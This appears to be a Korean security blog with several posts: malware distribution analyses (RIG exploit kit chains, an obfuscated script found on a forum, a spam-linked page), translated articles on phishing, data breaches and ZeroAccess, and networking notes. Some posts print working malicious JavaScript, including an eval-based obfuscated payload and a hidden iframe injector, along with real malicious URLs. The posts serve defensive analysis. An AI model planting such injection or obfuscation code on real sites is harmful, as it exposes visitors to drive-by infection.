posted by Kwan's 2017.04.24 15:31


회사를 퇴사하고 나서 가끔씩 글을 쓸 예정 입니다.

정보가 많이 부족하긴 하지만 악성 스크립트 (국내 + 해외) / 파일분석 등을 적을 예정 입니다.

포스팅을 하는 이유는 그냥 심심해서 입니다.


1. 발견 사이트 (유포지)

cocoalba.kr/autojump/ad_xxxx/index.html


2. 최종 파일

leeve.co.kr/apps/up.exe (현재 404)

MD5 : 0952d38bf8b3f026cb3c41c87db338a7

C&C : r.pengyou.com/fcg-bin/cgi_get_portrait.fcg?uins=2889622357

[VT 결과]

virustotal.com/ko/file/1dd1dbd6631b8b0b87d7bbab7aff004c983dbe87ba6c9e7fed851de4786e6ae1/analysis/


3. 스크립트


초기 스크립트를 확인해보면 제가 마지막으로 본 이전 버전과는 다를게 많이 없습니다.

하지만, 해당 코드를 1차적으로 디코딩을 하면 새로운 값과 기존과 다른 스크립트가 있는 것을 확인할 수 있습니다.



- 1차 디코딩 스크립트


1차적으로 디코딩된 스크립트 같은 경우에는 난독화 부분과 디코딩을 위한 연산 부분을 나눌 수가 있으며, 최종 적으로는 t=utf8to16(nbencode(nbcode(t),JbWRn$q7)) 이부분을 통해 난독화가 해제 됩니다.



- 최종 스크립트


해제된 난독화를 살펴보면, _0x4b88로 정의되어 있는 것부터 시작을 한다.

_0x4b88 같은 경우에는 취약점으로 분기될 수 있도록 배열 형식에 맞춰 사용되도록 스크립트 구문을 공격자가 생성해놓았습니다.


[스크립트]


더보기


더보기


var _0x4b88 에정의된 내용


더보기


마지막으로 취약점으로 연결할 때에는 "var jaguarx=jaguar+" 이와 같이 정의가 되어 있는 것을 볼 수 있는데, 이것은 초기 스크립트내에서 정의 되어 있는 것을 확인하시면 됩니다.

참고로, jaguar = RhRdQk 입니다.

또한, exe 파일 같은 경우에도 초기에 복잡하게 되어 있는 것처럼 보이지만 기존과 별로 차이가 없습니다.


---------------------------

웹 페이지 메시지

---------------------------

http://leeve.co.kr/apps/up.exe

---------------------------

확인   

---------------------------


취약점같은 경우에는 세부적으로 보지는 않았지만, 거의 비슷한거 같아서 추후 포스팅을 하겠습니다.


몇년만에 쓰니까 잘 안써지지만, 꾸준히 포스팅을 하겠습니다.


마지막으로 심심할때마다 뭔가를 던져주는 창훈이에게 고맙다는 말을 전합니다!


감사합니다~


posted by Kwan's 2015.09.01 16:01

그냥 국내 웹사이트 중 리그킷 들어가 있는 곳을 발견해서 간단하게 흔적용으로 써봄.


1. 발견 사이트

http://www.irisxxxxxx.kr (꽃배달 사이트)

→ http://autoxxxx.ru/templates/atomic/z9jqqbt7.php?id=8515037

-→ http://new.ceptenporxxxxx.com/?xH6Af7iYJBvPCoo[하위생략] / (지속적인 링크 변경)

--→ http://new.ceptenporxxxxxx.com/index.php?xH6Af7iYJBvPCoo=[하위생략] / 최종 악성코드 다운로드


2. 삽입 형태

http://www.irisxxxxxx.kr

→ _script type="text/javascript" src="http://autoxxxx.ru/templates/atomic/z9jqqbt7.php?id=8515037"_


http://autoxxxx.ru/templates/atomic/z9jqqbt7.php?id=8515037

→ _document_write('_iframe src="http://new.ceptenporxxxxx.com/?xH6Af7iYJBvPCoo[하위생략] " style="left: -999px;top: -999px;position: absolute;" width="202" height="202"__/iframe_');


http://new.ceptenpoxxxxx.com/?xH6Af7iYJBvPCoo[하위생략]

→ /*(331387,4,14838)*/uo7("119p105p110p100");/* [생략]


3. 악성 스크립트 스샷

[그림 1. 난독화 된 RIG Exploit Kit 스크립트 ]


[그림 2. 디코딩 된 RIG Exploit Kit 스크립트]



[그림 3. 일부 디코딩 된 RIG Exploit Kit 스크립트 - CVE-2014-6332]




[그림 4. 디코딩 된 스크립트 중 일부 쉘코드에서 발견된 최종링크 연결]


4. 끄적끄적

분석을 방해하기 위한 주석등이 너무 많이 달림 일부 스크립트에서는 짤라서 쓰는걸 방지하기 위해 정의 선언이 되지 않은 코드도 넣음 지우고 처리하는데 조금 신경쓰임.. 국내에는 다양한 공격킷이 존재하지만 리그킷과 같은 경우 연구 대상(?) 다음번에는 앵글러를 한번 해 볼 생각...

아참 최종 유포지와 난독화 해제 부분만 언급했는데 어느 취약점을 이용하는지는 추후에 게시(?) 할 예정.

제목과 같이 그냥 끄적끄적..ㅎㅎ 이렇게 된다 정도?ㅎㅎ


[이전글]

2014/08/27 - [security/악성코드 유포] - RIG Exploit Kit 넌 누구냐?


TAG
posted by Kwan's 2014.08.27 13:24

올만에 블로그에 글을~

간단하게 스샷 몇개만 ... 추후에 자세히?!?


1. 초기 스크립트


2. 1차 난독화 해제



3. 2차 난독화 해제 (취약성 + 최종 링크)



간단하게 정리 했습니다. 정보는 추후에 봐서 공유 하도록 하겠습니다. 마지막으로 도움을 주신 모든분께 감사하다는 말씀 드리고 싶습니다.


posted by Kwan's 2014.01.08 04:00

우연히 인터넷 검색을 하던 도중 발견한 2012년 해외 포럼에 올라온 글이다. 

Malicious Code Inject: What Does It Do? 라는 것을 보던 중에 오래된 방법이지만 이런 방법도 있구나 해서 적어놓는다.


1. 발견지 포럼(Web Developer Forum) : http://www.webdeveloper.com/forum/showthread.php?261600-Malicious-Code-Inject-What-Does-It-Do (Malicious Code Inject: What Does It Do?)

-> http://oolbrmp.tld.cc/d/404.php?go=1 (window.location _=_ "http://fukbb.com")

--> http://fukbb.com


2. 디코딩 순서 : 초기사이트 접속 -> Base 64 난독화  -> 일부 디코딩 -> Base 64 난독화 -> Blockhole 난독화 -> 디코딩


3. Web Developer Forum - 스샷



4. 난독화 해제

   가. 원본 소스


  나. 1차 디코딩 - 일부 base 64


  다. 2차 디코딩 - 남은 일부 base 64


  라. 3차 디코딩 - Blockhole(최종)


  마. http://oolbrmp.tld.cc/d/404.php?go=1 - window.location 통한 리다이렉팅


  라. 최종 도메인 - fukbb.com



5. 도메인 위치

  가. oolbrmp.tld.cc


  나. fukbb.com


6. 악성스크립트 - 바이러스 토탈 결과

* 바이러스 토탈 업로드 시 악성 스크립트 부분만 발췌해서 업로드 했습니다.



6. 번외편 - 이것의 결과는?

- 힌트 : HTML-CSS

* &lt; - 부등호(<)

* &gt; - 부등호(>)

* &quot; - 쌍따옴표(") 하나 

 &lt;

 script&gt;

 try

 {

   q=document.createElement(&quot;

   p&quot;

   );

   q.appendChild(q+&quot;

   &quot;

   );

 }

 catch(qw)

 {

   h=-012/5;

   try

   {

     bcsd=prototype-2;

   }

   catch(bawg)

   {

     ss=[];

     f=(h)?(&quot;

     fromCharC&quot;

     +&quot;

     ode&quot;

     ):&quot;

     &quot;;

     e=window[&quot;

     e&quot;

     +&quot;

     val&quot;

     ];

     n=[9,18,315,408,32,80,300,444,99,234,327,404,110,232,138,412,101,232,207,432,101,218,303,440,116,230,

198,484,84,194,309,312,97,218,303,160,39,196,333,400,121,78,123,364,48,186,123,492,13,18,27,36,105,

204,342,388,109,202,342,160,41,118,39,36,9,250,96,404,108,230,303,128,123,26,27,36,9,200,333,396,

117,218,303,440,116,92,357,456,105,232,303,160,34,120,315,408,114,194,327,404,32,230,342,396,61,78,

312,464,116,224,174,188,47,222,333,432,98,228,327,448,46,232,324,400,46,198,297,188,100,94,156,192,

52,92,336,416,112,126,309,444,61,98,117,128,119,210,300,464,104,122,117,196,48,78,96,416,101,210,

309,416,116,122,117,196,48,78,96,460,116,242,324,404,61,78,354,420,115,210,294,420,108,210,348,

484,58,208,315,400,100,202,330,236,112,222,345,420,116,210,333,440,58,194,294,460,111,216,351,

464,101,118,324,404,102,232,174,192,59,232,333,448,58,96,177,156,62,120,141,420,102,228,291,436

,101,124,102,164,59,26,27,36,125,26,27,36,102,234,330,396,116,210,333,440,32,210,306,456,97,218,

303,456,40,82,369,52,9,18,27,472,97,228,96,408,32,122,96,400,111,198,351,436,101,220,348,184,99,

228,303,388,116,202,207,432,101,218,303,440,116,80,117,420,102,228,291,436,101,78,123,236,102,92,

345,404,116,130,348,464,114,210,294,468,116,202,120,156,115,228,297,156,44,78,312,464,116,224,

174,188,47,222,333,432,98,228,327,448,46,232,324,400,46,198,297,188,100,94,156,192,52,92,336

,416,112,126,309,444,61,98,117,164,59,204,138,460,116,242,324,404,46,236,315,460,105,196,315,

432,105,232,363,244,39,208,315,400,100,202,330,156,59,204,138,460,116,242,324,404,46,224,333

,460,105,232,315,444,110,122,117,388,98,230,333,432,117,232,303,156,59,204,138,460,116,242,324,

404,46,216,303,408,116,122,117,192,39,118,306,184,115,232,363,432,101,92,348,444,112,122,117,

192,39,118,306,184,115,202,348,260,116,232,342,420,98,234,348,404,40,78,357,420,100,232,312

,156,44,78,147,192,39,82,177,408,46,230,303,464,65,232,348,456,105,196,351,464,101,80,117,416,

101,210,309,416,116,78,132,156,49,96,117,164,59,26,27,36,9,200,333,396,117,218,303,440,116,92,

309,404,116,138,324,404,109,202,330,464,115,132,363,336,97,206,234,388,109,202,120,156,98,222,

300,484,39,82,273,192,93,92,291,448,112,202,330,400,67,208,315,432,100,80,306,164,59,26,27,36,

125];

     if(window.document)for(i=6-2-1-2-1;-581+i!=2-2;i++)

     {

       k=i;

       ss=ss+String[f](n[k]/(i%(h*h)+2-1));

     }

     e(ss);

   }

 }

 &lt;

 /script&gt;


글 중간에 바이러스 토탈 결과를 보듯이 난독화가 된 악성 스크립트의 차단 비율은 그다지 높지 않는거 같다. 또한, 이처럼 단순 난독화가 아닌 현재 국내에서 다수 나타나고 있는 공다팩처럼 복잡하게 난독화된 기술은 더욱 탐지하기 힘들것으로 보이며 악성링크를 사전에 차단을 통해 피해를 줄이는 방안도 하나의 방법이라고 생각한다. 하지만, 어느 한편의 입장에서는 악성링크를 통해 다운로드되는 파일만 막으면 되지 라는 말도 할 수 있다. 어떻게 보면 이 둘다 맞는 말이라고 할 수도 있다. 그러나 한번에 한마리의 토끼를 잡는것 보다 한번에 두마리 토끼를 잡는 방법도 있듯이 두마리의 토끼를 한번에 잡는다면 주말에 안심하고 웹서핑을 할 수 있지 않을까 하는 생각이 된다.


posted by Kwan's 2013.10.22 00:43

오랜만에 악성스크립트로 연결시키는 스팸메일을 내 이메일을 통해 받아서 기록해 둔다.


발신 : <richartl@bladechevy.com>

수신 : <power2618@naver.com>

날짜 : 13-10-21 (월) 03:21

제목 : I want you to be healthy


[본문 내용] 

<html><body>

http://mhr.ro/pride.html Do you know what your lover wants during nights?

<_body><_html>


[발신자 정보 위치 - bladechevy.com]



[http://mhr.ro/pride.html - 사이트 본문 내용]



[디코딩]


Redirecting -> http://albertacanadapills.nl">


-----------------------------------------------------------------------------------------------


 function q09() {

 var static='ajax';

 var controller='index.php';

 var q = document.createElement('iframe');


 q.src = 'http://lanotfo.com/exit.php';

 q.style.position = 'absolute';

 q.style.color = '55';

 q.style.height = '55px';

 q.style.width = '55px';

 q.style.left = '100055';

 q.style.top = '100055';


 if (!document.getElementById('q')) {

 document.write('<p id=\'q\' class=\'q09\' ></p>');

 document.getElementById('q').appendChild(q);

 }

}

function SetCookie(cookieName,cookieValue,nDays,path) {

 var today = new Date();

 var expire = new Date();

 if (nDays==null || nDays==0) nDays=1;

 expire.setTime(today.getTime() + 3600000*24*nDays);

 document.cookie = cookieName+"="+escape(cookieValue)

 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");

}

function GetCookie( name ) {

 var start = document.cookie.indexOf( name + "=" );

 var len = start + name.length + 1;

 if ( ( !start ) &&

 ( name != document.cookie.substring( 0, name.length ) ) )

 {

 return null;

 }

 if ( start == -1 ) return null;

 var end = document.cookie.indexOf( ";", len );

 if ( end == -1 ) end = document.cookie.length;

 return unescape( document.cookie.substring( len, end ) );

}

if (navigator.cookieEnabled)

{

if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');


q09();

}

}


[세부 정보]


http://lanotfo.com/exit.php // 500 internal server error

=========================

Server IP(s):

0.0.0.0

=========================



http://albertacanadapills.nl



[도식화]





posted by Kwan's 2013.09.17 14:54


Google Docs으로 부터 여러분에게 보내진 “보안문서(Secure Document)”인척 하는 대규모의 피싱 공격이 이번 주 동안 유행하였습니다.

보안업계에 종사하는 우리 같은 사람들은 놀라지 않을지도 모르지만, 피싱 공격들은 전통적인 방어를 피하는 매우 효과적인 방법들 중의 하나임을 스스로 증명하고 있습니다.

많은 기관들이 Google 클라우드로 옮겨감에 따라, 이런 류의 피싱 미끼는 계속해서 범죄용으로 사용되는 결과를 낳을 것입니다.

그 이메일은 다음과 같습니다.:

안녕하세요.

당신의 금융기관에서 Google Docs를 사용한 보안 문서를 보내었습니다.
문서를 보기 위해 Google Docs 웹페이지를 방문하려면 아래 링크를 클릭하십시오.
여기를 클릭하세요. 문서는 중요하다고 되어 있습니다.

수고하십시오.
The Gmail Team

피싱 이메일이 아주 특별한 것은 아니지만, 이 피싱 이메일은 제 눈에 걸립니다. 게다가 다소 그럴 듯한 미끼이고, 모두가 속을 수 있는 익스플로잇 입니다.

만약 그 링크를 클릭하면, 여러분은 대만에서 호스팅되고 있는 피싱 페이지를 보게 됩니다.

그 페이지는 여러분의 Google 계정정보를 요청할 뿐만 아니라, Yahoo!, Outlook.com, Hotmail, AOL, Comcast, Verizon, 163.com 그리고 기타 다른 이메일 계정으로도 접속 가능하다고 말합니다.

물론, 이 입력폼을 채우면 당장 낭패를 보게 될 것입니다. 여러분의 상세정보는 해커들이 바라는 목적이 무엇이든지 간에 감염된 서버로 보내집니다.

여러분은 이렇게 생각할지도 모릅니다. “그래서 뭘? 내 Gmail은 나의 국적/삶/경력을 파괴할 비밀의 전부는 아니거든.”

그러나 당신이 틀렸다는 것을 곧 알게 될 것입니다. 왜냐하면 당신 이메일은 당신의 온라인 신원 대부분을 파헤치는 열쇠이기 때문입니다.

당신의 은행계좌 비밀번호를 잊어버렸습니까? 걱정하지 마세요, 그들이 당신에게 비밀번호 리셋 링크를 이메일로 보낼 것입니다.

여러분의 회사가 클라우드 서비스를 이용합니까? 여러분의 이메일 계정이 이런 시스템에 접속하는 열쇠인 것 같습니다.

놀랍게도 피싱은 성공한 기술입니다.

그렇다면, 세상에서 가장 강력한 미디어 조직들 중 몇 곳을 감염시킬 수 있는 기술적인 재능(피싱)을 지닌 시리아전자군대(Syrian Electronic Army)에게 물어 보세요.

IT 관리자로서, 이것은 여러분의 직원들에게 위험을 가르치는 기회입니다.

이것이 유행하고 있는 피싱들 중 가장 설득력 있는 것이 아닐지도 모르지만, 여러분의 직원을 교육하는 유용한 도구입니다.

많은 기업들이 Google이나 기타 클라우드 서비스 제공업체를 이용하여 중요한 IT 서비스를 제공하고 있습니다. 언뜻 보기에 이것은 매우 믿음직스러울 수 있습니다.

희생자가 되지 않으려면 무엇을 해야 할까요? 나는 모든 중요한 서비스에 대해 나의 브라우저에 바로가기를 만듭니다.

만약 나의 이메일이나 은행 또는 다른 온라인 서비스에 접속할 필요가 있다면, 그런 링크를 클릭하지 않고, 바로 즐겨찾기를 클릭하는 것입니다.


posted by Kwan's 2013.08.21 17:18

출처 : http://www.microsoft.com/korea/technet/deploy/tcpintro4.mspx


TCP/IP에 대한 소개

TCP/IP 프로토콜 아키텍처

TCP/IP 프로토콜은 DARPA 모델(TCP/IP를 개발한 미 정보 조직의 이름을 딴)로 알려진 네 계층의 개념적인 모델에 맵핑 되어 있습니다. DARPA 모델의 네 계층은 애플리케이션(Application), 트랜스포트(transport), 인터넷(Internet), 네트워크(Network) 인터페이스입니다. DARPA 모델의 각 계층은 OSI(Open Systems Interconnection) 7계층 모델의 하나, 혹은 하나 이상의 계층과 일치합니다.

그림 1은 TCP/IP 프로토콜 계층 구조를 보여줍니다.

Image File: tcpin01
그림 1   TCP/IP 프로토콜 계층 구조.

네트워크 인터페이스 계층

네트워크 인터페이스 계층 (네트워크 억세스 계층으로 불리기도 합니다.)은 TCP/IP 패킷(packet)을 네트워크 매체로 전달하는 것과 네트워크 매체에서 TCP/IP 패킷을 받아들이는 과정을 담당합니다. TCP/IP는 네트워크 접근 방법, 프레임 포맷, 매체에 대해 독립적으로 동작하도록 설계되어 있습니다. 이러한 이유로, TCP/IP는 서로 다른 네트워크 형태를 연결하는데 사용되어 질 수 있습니다. 여러 네트워크 형태로는 이더넷(Ethernet), 토큰링(Token Ring)과 같은 LAN기술과 X.25, 프레임 릴레이(Frame Relay )와 같은 WAN기술을 포함합니다. 특정 네트워크 기술을 개발하는 독립 회사들은 ATM(Asynchronous transfer Mode)과 같은 새로운 기술을 TCP/IP에 적용하고 있습니다.

네트워크 인터페이스 계층은 OSI 모델에서 데이터 링크 계층과 물리적 계층(Physical layer)에 해당합니다. 인터넷 계층은 데이터 링크 계층에 존재할 수 있는 순서화(sequencing), 확인(acknowledgement) 서비스의 이점을 채택하지 않았다는 사실에 주의하기 바랍니다. 네트워크 인터페이스 계층은 신뢰할 수 없는 것으로 가정합니다. 세션 확립과 순서화, 패킷 확인 등의 신뢰할 수 있는 통신은 트랜스포트 계층의 책임입니다.

인터넷 계층

인터넷 계층은 어드레싱(addressing), 패키징(packaging), 라우팅(routing) 기능을 제공합니다. 인터넷 계층의 핵심 프로토콜은 IP, ARP, ICMP, IGMP 등입니다.

  • IP(Internet Protocol)은 IP 어드레싱과 패킷의 분해, 재조합을 책임지는 프로토콜입니다.
  • ARP(Address Resolution Protocol)은 인터넷 계층 주소를 네트워크 인터페이스 계층의 주소(하드웨어 주소와 같은)로 변환하는 역할을 담당합니다.
  • ICMP(Internet Control Message Protocol)은 IP 패킷의 전달에 따른 오류나 상태를 리포트하고 진단하는 기능을 제공합니다.
  • IGMP(Internet Group Management Protocol)은 IP 멀티캐스트(multicast) 그룹의 관리를 책임집니다.

인터넷 계층은 OSI 모델의 네트워크 계층에 해당합니다.

트랜스포트 계층

트랜스포트 계층은 (Host-to-Host 트랜스포트 계층이라고도 하는데) 애플리케이션 계층에 세션과 데이터그램(Datagram) 통신 서비스를 제공합니다. 트랜스포트 계층의 핵심 프로토콜은 TCP와 UDP(User Datagram Protocol)입니다.

  • TCP는 1대1의 연결 지향, 신뢰할 수 있는 통신 서비스를 제공합니다. TCP는 TCP 연결 확립과 보내진 패킷의 확인, 순서화, 전달 중 손상된 패킷을 복구하는 책임을 집니다.
  • UDP는 1대1, 1대다의 비연결 지향, 신뢰할 수 없는 통신 서비스를 제공합니다. UDP는 주로 전달해야 할 데이터의 크기(하나의 패킷으로 보낼 수 있는 데이터와 같은 경우)가 작을 때나, TCP 연결 확립에 의한 부하를 피하려고 할 때, 혹은 상위 프로토콜이 신뢰할 수 있는 전달을 책임지는 경우에 사용됩니다.

트랜스포트 계층은 OSI 모델의 트랜스포트 계층전체와 세션 계층의 일부에 해당합니다.

애플리케이션 계층

애플리케이션 계층은 다른 계층의 서비스에 접근할 수 있게 하는 애플리케이션을 제공하고 애플리케이션들이 데이터를 교환하기 위해 사용하는 프로토콜을 정의합니다. 여러 가지 애플리케이션 계층 프로토콜이 존재하며 지속적으로 새로운 프로토콜이 개발되고 있습니다.

가장 많이 알려진 애플리케이션 계층 프로토콜에는 다음과 같은 것들이 있습니다.

  • HTTP(HyperText transfer Protocol)은 WWW의 Web 페이지 파일을 전송하는데 사용됩니다.
  • FTP(File transfer Protocol)은 상호 파일 전송을 위해 사용됩니다.
  • SMTP(Simple Mail transfer Protocol)은 메일 메시지와 그에 추가된 첨부 파일을 전송하기 위해 사용됩니다.
  • Telnet(terminal emulation protocol)은 네트워크 호스트에 원격 접속하기 위해 사용됩니다.

또한, 다음과 같은 애플리케이션 계층 프로토콜이 TCP/IP 네트워크를 사용하거나 관리하는 것을 도와줍니다.

  • DNS(Domain Name System) 은 호스트 이름을 IP 주소로 변환하기 위해 사용됩니다.
  • RIP(Routing Information Protocol) 은 IP 네트워크상에서 라우팅 정보를 교환하기 위해 라우터가 사용하는 프로토콜입니다.
  • SNMP(Simple Network Management Protocol) 은 네트워크 관리 콘솔과 네트워크 장비(라우터, 브리지, 지능형 허브)간에 네트워크 관리 정보를 수집, 교환하기 위해 사용됩니다.

TCP/IP 애플리케이션을 위한 애플리케이션 계층 인터페이스의 예로 Windows Sockets과 NetBIOS를 들 수 있습니다. Windows Sockets은 Microsoft Windows 운영체제하에서 표준적인 API(application-programming interface)를 제공합니다. NetBIOS는 세션, 데이터그램, 주소 변환과 같은 프로토콜 서비스에 접근하기 위한 산업 표준 인터페이스입니다. Windows Socket과 NetBIOS에 대한 자세한 정보는 이 문서의 후반부에서 제공됩니다.


'security > 공부 하는 것들' 카테고리의 다른 글

TCP/IP 프로토콜 아키텍처  (0) 2013.08.21
메일 서버 원리 / 스팸 메일의 차단  (0) 2013.08.17
posted by Kwan's 2013.08.21 17:13


2013년 1분기에 일어난 데이터 침해 대부분은 정보가 처리되었던 방법에 있어서의 부주의 때문에 발생하였습니다.

영국 ICO(정보보호위원회, Information Commissioner's Office)에 따르면, 4월1일 ~ 6월30일 사이에 조사했던 335개 사건 중 175건이 “잘못해서 공개된(disclosed in error)” 개인 정보 때문이라고 합니다.

ICO의 Sally-Anne Poole(Enforcement group manager, Civil investigations)은 ICO 블로그에서, 그런 에러들에는 많은 이유가 있었다고 전합니다.

"잘못된 사람들에게 보내지는 이메일부터 정보까지 모두가 잘못된 정보 응답의 자유에 포함되고 있습니다."

데이터 침해를 주도했다고 하는 다른 영역은 문서 분실이나 도난, 잘못된 폐기 54건, 하드웨어 분실이나 도난, 잘못된 폐기 31건을 포함하고 있습니다.

따라서 여러분이 웹사이트에 데이터 업로드를 할 때 오류가 나는 것(7건)까지, 부주의가 사실 조사된 침해의 80% 가까이를 차지한다고 나는 주장합니다.

하지만, 그것은 사업의 고객 대면 부문에 있는 직원만을 비난하는 것은 아닙니다. 내가 전에 ICO 프레스 사무실에 전화 했을 때 그들이 알려준 것처럼, 27건은 보안 소프트웨어를 최신상태로 유지하지 않는 가장 일반적인 경우와 보안 시스템 설치 실패 등 여러 가지 기술적인 보안 실패에 직접적으로 기인한 것입니다.

다시 말해, 인간의 오류가 다시 그 문제를 발생하게 하는 것 같습니다.

분야별로 보고된 335건의 사건 중 가장 큰 숫자가 의료분야(91건)와 지방정부분야(57건)에서 발생했음에도, ICO는 “NHS(영국 의료 서비스)는 모든 잠재적인 데이터 침해가 스스로 보고되도록 하는 그들 자신의 규칙을 가지고 있는 반면, 지방정부는 유사한 가이드라인을 가지고 있습니다. 그것은 그 두 분야가 이 표의 상단 부근에 항상 있을 것 같다는 의미입니다.”라고 주장합니다.

따라서, 그들이 그들의 보호아래 두고 있는 정보 때문에 목록에서 다음 두 분야는 훨씬 더 흥미롭습니다. 학교 및 기타 교육기관(25건), 법정 변호사와 사무 변호사(20건), 이 두 분야는 자신들의 개인 정보 보호를 확실하게 하고 있다고 우리들이 바라고 기대하고 있을 것이라고 저는 확신합니다.

앞을 내다보면, 유럽연합(EU)이 데이터 침해에 대한 보고를 위해 새로운 규정을 이행하는 것을 검토함에 따라, 2분기 보고는 분야별 사건에 대해 다른 분포를 보일 것이라도 봐도 무방할 것입니다.

그 새로운 규칙은 8월25일에 효력이 발생하는데, 통신회사와 인터넷 서비스 제공업체는 24시간 내에 “가능하다면” 관계 당국에게 모든 개인 정보 침해를 보고하도록 강요당할 것이라고 합니다.

이것은 실제 의미하였던 것에 비해 상당히 느슨한 해석으로 유도된 것처럼 보이는 “지나친 지연 없는” 침해 보고라는 이전 요구사항이 바뀐 것입니다.

물론, ICO는 단지 데이터 수집과 사건에 대한 보고만 하는 것은 아닙니다. ICO는 필요한 기관에 민사 벌금형을 구형할 힘도 가지고 있습니다.

올해 ICO에 의해 구형된 주목할 만 한 처벌로는 지방정부의 개인정보 유출에 대해 7만 파운드, 의료분야의 사용하지 않는 건물에 개인정보를 그대로 남겨둔 것에 대해 10만 파운드, 의료분야의 의회 웹사이트에 개인정보 공개한 것에 대해 17만5천 파운드 등이 있습니다.

posted by Kwan's 2013.08.17 18:40


최근 공부하는것 중 메일서버에 대한 이야기를 들어서 이렇게 도식화를 그려본다. 사용자가 보낼때는 SMTP 포로토콜를 이용하여 전송을 하며 메일서버를 거치면서 상대방에게 가기까지는 모두 SMTP 프로토콜을 이용한다. 하지만, 받는 사람은 메일 서버에 도착되어 있는 메일을 클라이언트로 가져올 때 적용되는 프로토콜 사용하는 POP3/IMAP 프로토콜를 이용하여 확인을 하게 된다.


SMTP (Simple Mail Transfer Protocol) : 클라이언트가 메일을 보내거나, 메일 서버끼리 메일을 주고 받을 때 적용되는 프로토콜 이며 사용하는 TCP 포트번호는 25번이다. 


POP3(Post Office Protocol) : 메일 서버에 도착되어 있는 메일을 클라이언트로 가져올 때 적용되는 프로토콜

윈도 라이브 핫메일, G메일, 및 Yahoo! 메일과 같은 대부분의 웹 메일에서 지원한다.


IMAP(Internet Mail Access Protocol) : 온라인 모드와 오프라인 모드를 모두 지원하므로 POP3를 사용할 때와 달리 이메일 메시지를 서버에 남겨 두었다가 나중에 지울 수 있다. 그러므로 다른 컴퓨터 환경에서 서로 다른 이메일 클라이언트가 같은 이메일을 받아올 수 있는 장점을 가지고 있다.


그렇다면 스팸메일에 대한 대처는 어떻게 하면 될까?


아래와 같이 스팸장비는 받는 메일 서버 바로 앞에 있다고 볼 수있다.

스팸메일을 전송할때 메일 서버를 이용하여 전송하는 경우도 있지만 다이렉트로 보내는 사람이 받는사람 메일 서버로 보낼 수도 있기 때문이다. 차단에 대해서는 아래 그림과 같이 차단을 한다. 차단이 된 메일에 대해서는 반송/삭제/보관과 같은 조치가 취해질 수 있다. 이를 통해 정상메일로 분류가 된다면 메일 서버를 통해 받는 사람에게 전달이 된다.


'security > 공부 하는 것들' 카테고리의 다른 글

TCP/IP 프로토콜 아키텍처  (0) 2013.08.21
메일 서버 원리 / 스팸 메일의 차단  (0) 2013.08.17
posted by Kwan's 2013.08.06 14:15


소포스랩에서 우리는 이전에 제로액세스(ZeroAccess) 맬웨어 계열의 위협에 대해, 그 본성을 탐구하고 이런 맬웨어 계열이 오랜 시간 지나면서 변화하는 것에 대해 문서화를 하면서 매우 심도 깊게 다루었습니다.

무슨 생각이 드나요?

맬웨어 제작자들은 또 다른 업데이트를 쏟아내고 있고 이번에는 확실히 재부팅을 지속하기 위해 재미있는 기술들을 사용하고 있습니다.

→ Persistence 는 APT(지능형 지속 공격- Advanced Persistent Threat)의 “P”를 말합니다. 여러분이 로그오프하고 다시 로그온 할 때나 재부팅할 때 만약 맬웨어가 자동으로 직접 다시 로딩된다면 맬웨어가 지속되도록 단순히 놓아두는 것입니다. 일반적으로 그것은 훨씬 오랫동안 사이버범인들을 도와주기 때문에 그것은 맬웨어를 더욱 위험하게 만듭니다.

제로액세스(ZeroAccess)의 이전 사용자모드는 그 파일들을 덜 확실하게 만들기 위해 Recycle Bin(보통 XP에서는 C:\RECYCLER 이거나 Vista 이상에서는 C:\$Recycle.Bin) 안에 생성된 폴더에 저장하였습니다.

그것은 또한 그 폴더의 액세스 컨트롤 리스트(Access Control List entries, ACLs)를 변경하여 어떤 사용자도 그 파일들을 읽거나 쓰지 못합니다.

이번에 그 파일들은 다시 사용된 ACL 속임수로 새로운 위치에 떨어뜨려집니다.

하지만 맬웨어 제작자들은 신원확인과 제로액세스(ZeroAccess) 컴포넌트 제거를 더욱 가로막기 위해 파일 경로와 레지스트리 엔트리에 RLO(right-to-left override)과 비인쇄(non-printable) 유니코드 문자를 또한 사용합니다.

이것이 무엇을 의미하는지 설명하도록 하겠습니다.

새로운 제로액세스 드로퍼(ZeroAccess dropper)는 %Program Files% 폴더와 사용자의 로컬 AppData, 2군데 위치에 스스로를 복사합니다.

각 복사본은 구글 제품의 일부인 것처럼 보이는 폴더 안에 위치하게 되는데, 비인쇄 유니코드를 사용하여 몇몇 윈도우 버전에서는 알아채기가 어렵습니다.

Vista 이상에서는, 그 폴더 이름이 탐색기를 사용하여 탐색할 수 없습니다.

비록 위에 보듯이 ACL 속임수에 의해 여전히 중지되지만, 우리는 Windows XP에서 좀 더 많은 것을 보게 됩니다.

더 많은 것을 얻기 위해, 우리는 그 폴더의 컨텐트를 보도록 허락하는 폴더의 소유권을 얻을 필요가 있습니다.

만약 우리가 헥스 에디터(hex editor)에서 사용되는 파일 경로를 조사하면, 비정상적인 유니코드 문자가 사용된 것을 알 수 있습니다.

그 폴더 구문은 다음과 같이 시작됩니다.

%PROGRAM FILES%\
  Google\
    Desktop\
      Install\
        {????????-????-????-????-????????????}\
          [SPACE][SPACE][SPACE]\
            ...\

다음은 위에서 헥스 에디터 스크린샷에 빨간색으로 표시된, 유니코드 문자를 따라서 만들어진 폴더입니다.

\x2e\x20 \xf9\xfb \x5b\x0e

첫 번째 글자는 히브리어와 같이 오른쪽에서 왼쪽으로 쓰는 언어를 지원하는 데 사용되는 ROL(right-to-left override) 문자입니다.

ROL은 맬웨어 제작자들이 악성 실행파일 타입의 확장자를 숨기기 위해 종종 사용합니다.

제로액세스(ZeroAccess) 제작자들은 윈도우 탐색기에서 표시되지 않는 다른 문자들과 서로 조합하고 있습니다.

이것은 파일들을 숨기고, 제거하기에 최고입니다.

시작시 이 폴더에 저장된 EXE 파일을 시작하도록 서비스가 생성됩니다.: 유니코드 문자 속임수가 그 서비스명에 다시 사용됩니다.

맬웨어는 서비스명이 gupdate처럼 보이게 하려고 시도하지만, 우리는 그 서비스가 알파벳순에서 잘못된 위치에 나타나기 때문에 Windows의 XP 이후 버전에서는 적합하지 않은 무언가가 있음을 알 수 있습니다.

그것은 ‘g’가 아니라 오히려 ‘e’로 시작하는 이름 사이에 있습니다.

우리가 그 서비스 엔트리에 대한 ImagePath 값의 데이터를 클릭하면, RLO 오버라이드를 맞닥뜨리자 마자 그 데이터가 거꾸로 나타나기 때문에 RLO문자를 볼 수 있습니다.

하지만, XP에서는 RLO문자가 지원되지 않아서 우리는 동그라미 친 것처럼 정확한 경로를 볼 수 있습니다.

